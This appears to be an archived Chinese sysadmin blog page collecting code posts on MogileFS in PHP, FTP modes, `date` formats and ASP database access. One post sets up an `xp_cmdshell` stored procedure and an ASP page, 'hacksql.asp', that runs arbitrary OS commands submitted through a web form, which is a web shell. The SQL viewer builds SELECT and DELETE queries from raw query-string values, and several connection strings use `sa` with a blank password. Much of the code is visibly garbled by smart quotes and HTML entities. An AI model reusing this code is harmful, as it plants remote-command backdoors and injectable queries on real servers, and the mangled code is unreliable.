网站运维、系统运维管理研究

Mogilefs PHP client 测试程序

< ?php

/**
* Copyright (c) 2007, Jens Frank, Domas Mituzas
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Wikimedia Foundation nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS “AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

/**
* Class for accessing the MogileFS file system
* Allows creation of classes, retrieval and storage of files, querying
* existence of a file, etc.
*/

class MogileFS {
var $socket;
var $error;

/**
* Constructor
*
* TODO
*/
function MogileFS( $domain = null,
$hosts = null,
$root = '' )
{
global $wgMogileTrackers, $wgDBname;

if ($domain == null)
$domain=$wgDBname;

if ($hosts == null) {
if ($wgMogileTrackers!=null) {
$hosts=$wgMogileTrackers;
} else {
die(“wgMogileTrackers empty, please define hosts”);
}
}

$this->domain = $domain;
$this->hosts = $hosts;
$this->root = $root;
$this->error = '';
}

/**
* Factory method
* Creates a new MogileFS object and tries to connect to a
* mogilefsd.
*
* Returns false if it can't connect to any mogilefsd.
*
* TODO
*/
function NewMogileFS( $domain = null,
$hosts = null,
$root = '' )
{
global $wgDBname;

if ($domain == null)
$domain=$wgDBname;

$mfs = new MogileFS( $domain, $hosts, $root );
return ( $mfs->connect() ? $mfs : false );
}

/**
* Connect to a mogilefsd
* Scans through the list of daemons and tries to connect one.
*/
function connect()
{
foreach ( $this->hosts as $host ) {
list($ip,$port)=split(':',$host,2);
if ($port==null)
$port=7001;
$this->socket = fsockopen( $ip, $port );
if ( $this->socket ) {
break;
}
}

return $this->socket;
}

/**
* Send a request to mogilefsd and parse the result.
* @private
*/
function doRequest( $cmd,$args=array() )
{
$params=' domain='.urlencode($this->domain);
foreach ($args as $key => $value)
$params.='&'.urlencode($key).”=”.urlencode($value);

if ( ! $this->socket ) {
$this->connect();
}
fwrite( $this->socket, $cmd . $params.”\n” );
$line = fgets( $this->socket );
$words = explode( ' ', $line );
if ( $words[0] == 'OK' ) {
parse_str( trim( $words[1] ), $result );
} else {
$result = false;
$this->error = join(” “,$words);
}
return $result;
}

/**
* Return a list of domains
*/
function getDomains()
{
$res = $this->doRequest( 'GET_DOMAINS' );
if ( ! $res ) {
return false;
}
$domains = array();
for ( $i=1; $i < = $res['domains']; $i++ ) {
$dom = 'domain'.$i;
$classes = array();
for ( $j=1; $j< =$res[$dom.'classes']; $j++ ) {
$classes[$res[$dom.'class'.$j.'name']] = $res[$dom.'class'.$j.'mindevcount'];
}
$domains[] = array( 'name' => $res[$dom],
'classes' => $classes );
}
return $domains;
}

/**
* Get an array of paths
*/
function getPaths( $key )
{
$res = $this->doRequest( “GET_PATHS”, array(“key” => $key));
unset( $res['paths'] );
return $res;
}

/**
* Delete a file from system
*/
function delete ( $key )
{
$res = $this->doRequest( “DELETE”, array(“key” => $key));
if ($res===false)
return false;
return true;
}

/**
* Rename a file
*/
function rename ($from,$to)
{
$res = $this->doRequest( “RENAME”, array(“from_key”=>$from,”to_key”=>$to));
if ($res===false)
return false;
return true;
}

/**
* Get a file from the file service and return it as a string
* TODO
*/
function getFileData( $key )
{
$paths = $this->getPaths( $key );
if ($paths == false)
return false;
foreach ( $paths as $path ) {
$fh = fopen( $path, 'r' );
$contents = '';

if ( $fh ) {
while (!feof($fh)) {
$contents .= fread($fh, 8192);
}
fclose( $fh );
return $contents;
}
}
return false;
}

/**
* Get a file from the file service and send it directly to stdout
* uses fpassthru()
* TODO
*/
function getFileDataAndSend( $key )
{
$paths = $this->getPaths( $key );
if (!$paths)
return false;
foreach ( $paths as $path ) {
$fh = fopen( $path, 'r' );

if ( $fh ) {
$success = fpassthru( $fh );
}
fclose( $fh );
return $success;
}
return false;
}

/**
* Save a file to the MogileFS
* TODO
*/
function saveFile( $key, $class, $filename )
{
$res = $this->doRequest( “CREATE_OPEN”, array(“key”=>$key, “class”=>$class));

if ( ! $res )
return false;

if ( preg_match( '/^http:\/\/([a-z0-9.-]*):([0-9]*)\/(.*)$/', $res['path'], $matches ) ) {
$host = $matches[1];
$port = $matches[2];
$path = $matches[3];

// $fout = fopen( $res['path'], 'w' );
$fin = fopen( $filename, 'r' );
$ch = curl_init();
curl_setopt($ch,CURLOPT_PUT,1);
curl_setopt($ch,CURLOPT_URL, $res['path']);
curl_setopt($ch,CURLOPT_VERBOSE, 0);
curl_setopt($ch,CURLOPT_INFILE, $fin);
curl_setopt($ch,CURLOPT_INFILESIZE, filesize($filename));
curl_setopt($ch,CURLOPT_TIMEOUT, 4);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if(!curl_exec($ch)) {
$this->error=curl_error($ch);
curl_close($ch);
return false;
}
curl_close($ch);

$closeres = $this->doRequest( “CREATE_CLOSE”, array(
“key” => $key,
“class” => $class,
“devid” => $res['devid'],
“fid” => $res['fid'],
“path” => urldecode($res['path'])
));
if ($closeres===false) {
return false;
} else {
return true;
}
}
}
}
MogileFS.rar
继续阅读 »

在asp.net 或php中FTP使用主动模式

ASP.NET:

在连接串代码中增加

usepassive=false
即可使用主动模式


PHP:

ftp_pasv: 切换主被动传输模式。

默认使用被动模式,在函数里指定为false即可为主动模式

2006/05/02网络编程

65条评论
55 views

通过date命令得到不同格式的系统时间

写shell时经常需要得到系统的当前时间,因需求不同,需要时间格式也不一样,翻了一下help,做个笔记:

常用的有:

date +%F 得到形如“2006-03-08”的日期

date +%T 得到形如“10:06:16”的时间

date +%F%T 得到形如“2006-03-08 10:06:16”的日期时间

date +%Y 得到年 2006

date +%m 得到月 03

date +%d 得到日期 08

date +%H 得到小时 09

date +%M 得到分钟 10

date +%S 得到秒 32

还有其他一些格式:

[root@TestServer root]# date

Wed Mar 8 10:03:15 CST 2006

[root@TestServer root]# date +%a

Wed

[root@TestServer root]# date +%A

Wednesday

[root@TestServer root]# date +%b

Mar

[root@TestServer root]# date +%B

March

[root@TestServer root]# date +%c

Wed Mar 8 10:00:29 2006

[root@TestServer root]# date +%C

20

[root@TestServer root]# date +%d

08

[root@TestServer root]# date +%D

03/08/06

[root@TestServer root]# date +%e

8

[root@TestServer root]# date +%F

2006-03-08

[root@TestServer root]# date +%g

06

[root@TestServer root]# date +%G

2006

[root@TestServer root]# date +%h

Mar

[root@TestServer root]# date +%H

10

[root@TestServer root]# date +%I

10

[root@TestServer root]# date +%j

067

[root@TestServer root]# date +%k

10

[root@TestServer root]# date +%l

10

[root@TestServer root]# date +%m

03

[root@TestServer root]# date +%M

03

[root@TestServer root]# date +%n

[root@TestServer root]# date +%N

073327000

[root@TestServer root]# date +%p

AM

[root@TestServer root]# date +%P

am

[root@TestServer root]# date +%r

10:05:12 AM

[root@TestServer root]# date +%R

10:05

[root@TestServer root]# date +%s

1141783533

[root@TestServer root]# date +%T

10:06:16

[root@TestServer root]# date +%u

3

[root@TestServer root]# date +%U

10

[root@TestServer root]# date +%V

10

[root@TestServer root]# date +%w

3

[root@TestServer root]# date +%W

10

[root@TestServer root]# date +%x

03/08/06

[root@TestServer root]# date +%X

10:07:18

[root@TestServer root]# date +%y

06

[root@TestServer root]# date +%Y

2006

2006/02/18网络编程

34条评论
37 views

asp调用数据库存储过程

<%Set Dataconn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)

&#39;建立连接对象

Dataconn.Open &#34;DSN=SinoTrans;SERVER=APP_SERVER;UID=sa;PWD=;APP=Microsoft(R) Developer Studio;WSID=APP_SERVER;Regional=Yes&#34;

Set cmdTemp = Server.Cr&#101;ateObject(&#34;ADODB.Command&#34;)

&#39;建立命令对象

Set rst = Server.Cr&#101;ateObject(&#34;ADODB.Recordset&#34;)

&#39;建立记录集对象

cmdTemp.CommandText = &#34;dbo.pd_test&#34; &#39;存储过程名称

cmdTemp.CommandType = 4

&#39;命令类别为4,表示为存储过程

Set cmdTemp.ActiveConnection = Dataconn

Set tmpParam = cmdTemp.Cr&#101;ateParameter(&#34;Return value&#34;, 3, 4, 4)

cmdTemp.Parameters.Append tmpParam

Set tmpParam = cmdTemp.Cr&#101;ateParameter(&#34;@BeginDate&#34;, 135, 1, 16, riqi)

&#39;创建输入参数对象

cmdTemp.Parameters.Append tmpParam

rst.Open cmdTemp, , 1, 3

&#39;生成查询结果

%>

这里调用的存储过程为pd_test,这种是ADO中提供的标准方法,但存在一个问题,就是当在存储过程中有两个以上的Sel&#101;ct语句,但从逻辑上又不可能同时执行的时候,ADO会提示你存储过程中Sel&#101;ct语句太多,解决方法是直接用ADO的CONNECTION对象的EXECUTE方法直接执行存储过程,如下:

<%

Set Dataconn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)

&#39;建立连接对象

Dataconn.Open &#34;DSN=SinoTrans;SERVER=APP_SERVER;UID=sa;PWD=;APP=Microsoft(R) Developer Studio;WSID=APP_SERVER;Regional=Yes&#34;

ss = &#34;EXECUTE dbo.pd_test &#34; &amp; &#34;&#39;&#34; &amp; riqi1 &amp; &#34;&#39;&#34;

Set rs = dataconn.Execute(ss)

%>

利用sql的存储过程实现dos命令的asp程序

1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy

如下:

Cr&#101;ate PROCEDURE ddy

@cmd varchar(50)

AS

exec master..xp_cmdshell @cmd

2、asp程序里如下:(hacksql.asp)

<%

cmd=trim(Request.Form(&#34;cmd&#34;))

if cmd<>&#34;&#34; then

work()

else

show()

end if

function work()

set conn=server.Cr&#101;ateObject(&#34;adodb.connection&#34;)

set rs=server.Cr&#101;ateObject(&#34;adodb.recordset&#34;)

conn.Open &#34;xx&#34;,&#34;sa&#34;,&#34;&#34;

sql=&#34;exec ddy &#39;&#34;&amp;cmd&amp;&#34;&#39;&#34;

rs.Open sql,conn

if not rs.EOF then

do while not rs.eof

Response.Write &#34;<pre>&#34;&amp;htmlencode2(trim(rs(0)))&amp;&#34;</pre>&#34;

rs.MoveNext

loop

else

Response.Write &#34;no&#34;

end if

if rs.State=1 then rs.close

set rs=nothing

conn.Close

set conn=nothing

end function

function show()

%>

<form action=hacksql.asp method=post>

请输入DOS命令:<input type=text name=cmd>

<input type=submit value=&#34;ok&#34;>

</form>

<%

end function

function htmlencode2(str)&#39;——–转换函数(为了显示时比较工整)

dim result

dim l

if isnull(str) then

htmlencode2=&#34;&#34;

exit function

end if

l=len(str)

result=&#34;&#34;

dim i

for i = 1 to l

sel&#101;ct case mid(str,i,1)

case &#34;<&#34;

result=result+&#34;<&#34;

case &#34;>&#34;

result=result+&#34;>&#34;

case chr(34)

result=result+&#34;&#34;&#34;

case &#34;&amp;&#34;

result=result+&#34;&amp;&#34;

case chr(13)

result=result+&#34;<br>&#34;

case chr(9)

result=result+&#34; &#34;

case &#34;&#39;&#34;

result=result+&#34;’&#34;

case chr(32)

result=result+&#34; &#34;

if i+1<=l and i-1>0 then

if mid(str,i+1,1)=chr(32) o&#114; mid(str,i+1,1)=chr(9) o&#114; mid(str,i-1,1)=chr(32) o&#114; mid(str,i-1,1)=chr(9) then

result=result+&#34; &#34;

else

result=result+&#34; &#34;

end if

else

result=result+&#34; &#34;

end if

case else

result=result+mid(str,i,1)

end sel&#101;ct

next

htmlencode2=result

end function

%>

用asp程序显示sql数据库所有表的名称(带删除功能)

<%

&#39; Define your sql info here

strSQLDSN = &#34;xxxx&#34;

strSQLUsername = &#34;sa&#34;

strSQLPassword = &#34;&#34;

&#39; This is wh&#101;re we connect to our sql server

Set adoConn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;)

ConnectionString = &#34;dsn=&#34; &amp; strSQLDSN &amp; &#34;;uid=&#34; &amp; strSQLUsername &amp; &#34;;pwd=&#34; &amp; strSQLPassword &amp; &#34;&#34;

adoConn.Open ConnectionString

Set adoRS = Server.Cr&#101;ateObject(&#34;ADODB.Recordset&#34;)

&#39; now we will just difine a couple things

showblank = &#34; &#34;

shownull = &#34;-null-&#34;

If Request.QueryString(&#34;action&#34;) = &#34;del&#34; Then

Del&#101;te_Data

Else

If Request.QueryString(&#34;table&#34;) <> &#34;&#34; Then

&#39; A table has been sel&#101;cted

Page_Head

Display_Table_Names

If Request.QueryString(&#34;msg&#34;) = &#34;del&#101;ted&#34; Then

Response.Write(&#34;<p><br></p>&#34;)

Response.Write(&#34;<font color=&#34;&#34;#FF0000&#34;&#34;><b>成功删除数据</b></font>&#34;)

Else

Response.Write(&#34;<p><br></p>&#34;)

End If

Display_Table_Info

Else

&#39; No table has been sel&#101;cted.

Page_Head

Display_Table_Names

End If

End If

Sub Page_Head

%>

<HTML>

<HEAD>

<TITLE>SQL Viewer</TITLE>

<BODY aLink=#0663bf leftMargin=&#34;0&#34; link=&#34;#0663bf&#34; topMargin=&#34;0&#34; vLink=&#34;#0663bf&#34; MARGINHEIGHT=&#34;0&#34;

MARGINWIDTH=&#34;0&#34;>

</HEAD>

<p><br></p>

<%

End Sub

Sub Del&#101;te_Data

strSQL = &#34;Del&#101;te From &#34; &amp; Request.QueryString(&#34;table&#34;) &amp; &#34; Wh&#101;re ID=&#39;&#34; &amp;

Request.QueryString(&#34;id&#34;) &amp; &#34;&#39;&#34;

Set adoRS = adoConn.Execute(strSQL)

strURL = &#34;index.asp?table=&#34; &amp; Request.QueryString(&#34;table&#34;) &amp; &#34;&amp;msg=del&#101;ted&#34;

Response.Redirect(strURL)

End Sub

Sub Display_Table_Names

Response.Write(&#34;<div align=&#34;&#34;center&#34;&#34;><center>&#34; &amp; vbCrLf)

Response.Write(&#34;&#34; &amp; vbCrLf)

Response.Write(&#34;<table border=&#34;&#34;1&#34;&#34; cellpadding=&#34;&#34;0&#34;&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;36%&#34;&#34;

bordercolor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><p align=&#34;&#34;center&#34;&#34;><font

color=&#34;&#34;#FFFFFF&#34;&#34;><strong>SQL Viewer</strong></font></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#dcd8d1&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><div align=&#34;&#34;center&#34;&#34;><center><table border=&#34;&#34;0&#34;&#34;

cellpadding=&#34;&#34;0&#34;&#34;&#34; &amp; vbCrLf)

Response.Write(&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;100%&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;> </td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34; NOWRAP><center> <sel&#101;ct size=&#34;&#34;1&#34;&#34;

name=&#34;&#34;Table&#34;&#34; style=&#34;&#34;font-family: Verdana; font-size: 8pt&#34;&#34;

onChange=&#34;&#34;top.location.href=this.options[this.sel&#101;ctedIndex].value&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <option sel&#101;cted value>请选择表名进行查看.</option>&#34; &amp; vbCrLf)

strSQL = &#34;Sel&#101;ct name FROM sysobjects Wh&#101;re xtype = &#39;U&#39; AND (Not (id) = 133575514) o&#114;DER

BY name&#34;

Set adoRS = adoConn.Execute(strSQL)

Do While Not adoRS.EOF

Response.Write &#34;<option value=&#34;&#34;index.asp?table=&#34; &amp; adoRS(&#34;name&#34;) &amp; &#34;&#34;&#34;>&#34; &amp;

adoRS(&#34;name&#34;) &amp; &#34;</option>&#34;

adoRS.MoveNext

Loop

Response.Write(&#34; </sel&#101;ct> </center></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;> </td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; </table>&#34; &amp; vbCrLf)

Response.Write(&#34; </center></div></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34;</table>&#34; &amp; vbCrLf)

Response.Write(&#34;</center></div>&#34; &amp; vbCrLf)

End Sub

Sub Display_Table_Info

Response.Write(&#34;<div align=&#34;&#34;center&#34;&#34;><center>&#34; &amp; vbCrLf)

Response.Write(&#34;<table border=&#34;&#34;1&#34;&#34; cellpadding=&#34;&#34;0&#34;&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;36%&#34;&#34;

bordercolor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#9b9180&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><p align=&#34;&#34;center&#34;&#34;><font

color=&#34;&#34;#FFFFFF&#34;&#34;><strong>SQL 破戒</strong></font></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr bgColor=&#34;&#34;#dcd8d1&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <td width=&#34;&#34;100%&#34;&#34;><div align=&#34;&#34;center&#34;&#34;><center><table border=&#34;&#34;0&#34;&#34;

cellpadding=&#34;&#34;0&#34;&#34;&#34; &amp; vbCrLf)

Response.Write(&#34; cellspacing=&#34;&#34;0&#34;&#34; width=&#34;&#34;100%&#34;&#34;>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

&#39; This sel&#101;cts the table that we want to use.

strSQL=&#34;sel&#101;ct * from &#34; &amp; Request.QueryString(&#34;table&#34;) &amp; &#34;&#34;

set adoRS=adoConn.execute(strSQL)

&#39; Now lets start the table

Response.Write(&#34;<table border=&#34;&#34;1&#34;&#34;><tr>&#34; &amp; vbCrLf)

&#39; this will find all the fields in that table and write them out

FOR EACH fieldname IN adoRS.fields

Response.Write(&#34;<td><b><font size=&#34;&#34;2&#34;&#34;>&#34; &amp; fieldname.name &amp; &#34;</font></B></TD>&#34;)

NEXT &#39; fieldname

Response.Write(&#34;<td><b><font size=&#34;&#34;2&#34;&#34;>删除</font></B></TD>&#34;)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

DO UNTIL adoRS.eof

Response.Write(&#34;<tr>&#34;)

FOR EACH fieldname IN adoRS.fields

strFieldvalue=fieldname.value

strField=fieldname.name

IF isnull(strFieldvalue) THEN

strFieldvalue=shownull

END IF

IF trim(strFieldvalue)=&#34;&#34; THEN

strFieldvalue=showblank

END IF

IF strField = &#34;ID&#34; o&#114; strField = &#34;id&#34; THEN

strRecordID = strFieldvalue

END IF

Response.Write(&#34;<td valign=top><font size=&#34;&#34;2&#34;&#34;>&#34; &amp; strFieldvalue &amp;

&#34;</font></td>&#34; &amp; vbCrLf)

NEXT

Response.Write(&#34;<td valign=top><font size=&#34;&#34;2&#34;&#34;><a href=&#34;&#34;index.asp?table=&#34; &amp;

Request.QueryString(&#34;table&#34;) &amp; &#34;&amp;id=&#34; &amp; strRecordID &amp; &#34;&amp;action=del&#34;&#34;>删除</a></font></td>&#34; &amp;

vbCrLf)

adoRS.movenext

LOOP

Response.Write(&#34;</table>&#34;)

adoRS.close

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <tr>&#34; &amp; vbCrLf)

Response.Write(&#34; <td></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34; </table>&#34; &amp; vbCrLf)

Response.Write(&#34; </center></div></td>&#34; &amp; vbCrLf)

Response.Write(&#34; </tr>&#34; &amp; vbCrLf)

Response.Write(&#34;</table>&#34; &amp; vbCrLf)

Response.Write(&#34;</center></div>&#34; &amp; vbCrLf)

End Sub

%>

图片上传的WebForm(自动生成所略图)

<%@ Page language=&#34;c#&#34; Codebehind=&#34;feUploadPic.aspx.cs&#34; AutoEventWireup=&#34;false&#34; Inherits=&#34;cj168.Web.Mag.Admins.FeData.feUploadPic&#34; %>

<%@ Register TagPrefix=&#34;cj168&#34; TagName=&#34;Header&#34; Src=&#34;modules/headerFe.ascx&#34; %>

<!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34; >

<HTML>

<HEAD>

<title>fedata</title>

<meta content=&#34;Microsoft Visual Studio 7.0&#34; name=&#34;GENERATOR&#34;>

<meta content=&#34;C#&#34; name=&#34;CODE_LANGUAGE&#34;>

<meta content=&#34;JavaScript&#34; name=&#34;vs_defaultClientScript&#34;>

<meta content=&#34;http://schemas.microsoft.com/intellisense/ie5&amp; … ot;vs_targetSchema&#34;>

<style>BODY { FONT-SIZE: 9pt }

.calPicDate { FONT-SIZE: 9pt; FONT-FAMILY: Verdana, Helvetica, sans-serif }

.valid { FONT-SIZE: 9pt; COLOR: red }

TD { FONT-SIZE: 9pt }

</style>

</HEAD>

<body MS_POSITIONING=&#34;GridLayout&#34;>

<table width=&#34;100%&#34;>

<tr>

<td><cj168:header id=&#34;Header1&#34; runat=&#34;server&#34;></cj168:header></td>

</tr>

</table>

<form id=&#34;fedata&#34; method=&#34;post&#34; encType=&#34;multipart/form-data&#34; runat=&#34;server&#34;>

<TABLE id=&#34;Table1&#34; cellSpacing=&#34;0&#34; cellPadding=&#34;1&#34; width=&#34;750&#34; border=&#34;1&#34;>

<TR>

<TD width=&#34;70&#34;>图片标题</TD>

<TD><asp:textbox id=&#34;txtboxPicTitle&#34; runat=&#34;server&#34;></asp:textbox><br>

< asp:requiredfieldvalidator id=&#34;Requiredfieldvalidator1&#34; runat=&#34;server&#34; ErrorMessage =&#34;请填写图片标题。&#34; CssClass=&#34;valid&#34; ControlToValidate=&#34;txtboxPicTitle&#34;>< /asp:requiredfieldvalidator><br>

<asp:regularexpressionvalidator id =&#34;vldCatName&#34; ErrorMessage=&#34;图片标题至少2个字符,不应包含’“ ” ! @ # $ % ^ &amp; * ( ) < > 《 》{ } [ ] ? 。,? ¥&#34; CssClass=&#34;valid&#34; ControlToValidate= &#34;txtboxPicTitle&#34; ValidationExpression=&#34;[^’^“^”^^!^@^#^$^%^^^&amp;^*^(^) ^<^>^《^》^?^。^,^?^¥^^][^]]&#34; Runat=&#34;server&#34;></asp: regularexpressionvalidator></TD>

</TR>

<TR>

<TD>图片日期</TD>

< TD><asp:textbox id=&#34;txtboxPicDate&#34; runat=&#34;server&#34; Width=&#34;300&#34;>< /asp:textbox><asp:calendar id=&#34;calPicDate&#34; runat=&#34;server&#34; CssClass= &#34;calPicDate&#34; Width=&#34;300&#34; Sel&#101;ctMonthText=&#34;本月&#34; Sel&#101;ctWeekText=&#34;本周 &#34; NextPrevFormat=&#34;FullMonth&#34; OnSel&#101;ctionChanged=&#34;CalDateSel&#101;cted&#34;>

<NextPrevStyle CssClass=&#34;calPicDate&#34;></NextPrevStyle>

<WeekendDayStyle ForeColor=&#34;red&#34;></WeekendDayStyle>

<TodayDayStyle Font-Bold=&#34;True&#34; ForeColor=&#34;red&#34; BackColor=&#34;#ccccff&#34;></TodayDayStyle>

<Sel&#101;ctedDayStyle BackColor=&#34;black&#34; Font-Bold=&#34;true&#34;></Sel&#101;ctedDayStyle>

</asp:calendar><BR>

< asp:requiredfieldvalidator id=&#34;Requiredfieldvalidator2&#34; runat=&#34;server&#34; ErrorMessage =&#34;请选择或填写图片日期。&#34; CssClass=&#34;valid&#34; ControlToValidate=&#34;txtboxPicDate&#34;> </asp:requiredfieldvalidator><br>

<asp:customvalidator id =&#34;CustomValidator1&#34; ErrorMessage=&#34;不是个有效的日期格式&#34; CssClass= &#34;valid&#34; ControlToValidate=&#34;txtboxPicDate&#34; Runat=&#34;server&#34; OnServerValidate=&#34;ServerValidateCheckDate&#34;></asp:customvalidator></TD>

</TR>

<TR>

<TD>图片分类</TD>

<TD> <asp:dro&#112;downlist id=&#34;ddlPicType&#34; runat=&#34;server&#34; DataValueField=&#34;fePicTypeID&#34; DataTextField =&#34;Title&#34;></asp:dro&#112;downlist><FONT face=&#34;宋体&#34;> < /FONT><asp:regularexpressionvalidator id=&#34;RegularExpressionValidator1&#34; ErrorMessage =&#34;请选择图片分类&#34; CssClass=&#34;valid&#34; ControlToValidate= &#34;ddlPicType&#34; ValidationExpression=&#34;[^0]&#34; Runat=&#34;server&#34;></asp:regularexpressionvalidator></TD>

</TR>

<TR>

<TD>图片介绍</TD>

<TD><asp:textbox id=&#34;txtboxPicIntro&#34; runat=&#34;server&#34; MaxLength=&#34;255&#34; TextMode=&#34;MultiLine&#34; Columns=&#34;50&#34; Rows=&#34;5&#34;></asp:textbox>

<asp:RegularExpressionValidator id=&#34;Regularexpressionvalidator2&#34; Runat =&#34;server&#34; CssClass=&#34;valid&#34; ErrorMessage=&#34;内容中不应包含 ’ < > &#34; ControlToValidate=&#34;txtboxPicIntro&#34; ValidationExpression=&#34;[^’^<^>]&#34;></asp:RegularExpressionValidator>

</TD>

</TR>

<tr>

<td colSpan=&#34;2&#34;>(支持文件格式:Jpg, Gif, Png)</td>

</tr>

</TABLE>

<table cellSpacing=&#34;0&#34; width=&#34;750&#34; border=&#34;1&#34;>

<tr>

<td width=&#34;70&#34;>图片名称</td>

<td width=&#34;300&#34;><INPUT title=&#34;浏览&#34; type=&#34;file&#34; size=&#34;25&#34; name=&#34;filePicName&#34; runat=&#34;server&#34; ID=&#34;filePicName&#34;>

< asp:RegularExpressionValidator id=&#34;Regularexpressionvalidator3&#34; Runat=&#34;server&#34; CssClass =&#34;valid&#34; ErrorMessage=&#34;文件名只能由字母或数字组成,不能包含 – _ 等其他符号长度至少为 1&#34; ControlToValidate=&#34;filePicName&#34; ValidationExpression=&#34;[ :.a-zA-Z0-9]&#34;></asp:RegularExpressionValidator>

</td>

<td><asp:checkboxlist id=&#34;checkboxlistRewrite&#34; runat=&#34;server&#34; BorderWidth=&#34;0&#34; Height=&#34;100%&#34; CellPadding=&#34;5&#34; RepeatLayout=&#34;Table&#34; RepeatColumns=&#34;1&#34; RepeatDirection=&#34;Vertical&#34;>

<asp:ListItem Value=&#34;1&#34;>覆盖原有图片</asp:ListItem>

</asp:checkboxlist></td>

</tr>

</table>

<table cellSpacing=&#34;0&#34; width=&#34;750&#34; border=&#34;1&#34;>

<TR>

< TD align=&#34;middle&#34;><asp:button id=&#34;btnSubmit&#34; onclick=&#34;UploadFile&#34; runat =&#34;server&#34; Text=&#34;确定&#34;></asp:button></TD>

</TR>

<TR>

<TD><asp:label id=&#34;lblPicInfo&#34; runat=&#34;server&#34;>Label</asp:label></TD>

</TR>

<TR>

<TD><FONT face=&#34;宋体&#34;></FONT>

</TD>

</TR>

</table>

</form>

<asp:HyperLink id=&#34;hlkOriPic&#34; runat=&#34;server&#34;>原图</asp:HyperLink>

<asp:HyperLink id=&#34;hlkNewPic&#34; runat=&#34;server&#34;>缩略图</asp:HyperLink>

</body>

</HTML>

2006/02/17网络编程

39条评论
39 views

ASP备份数据库

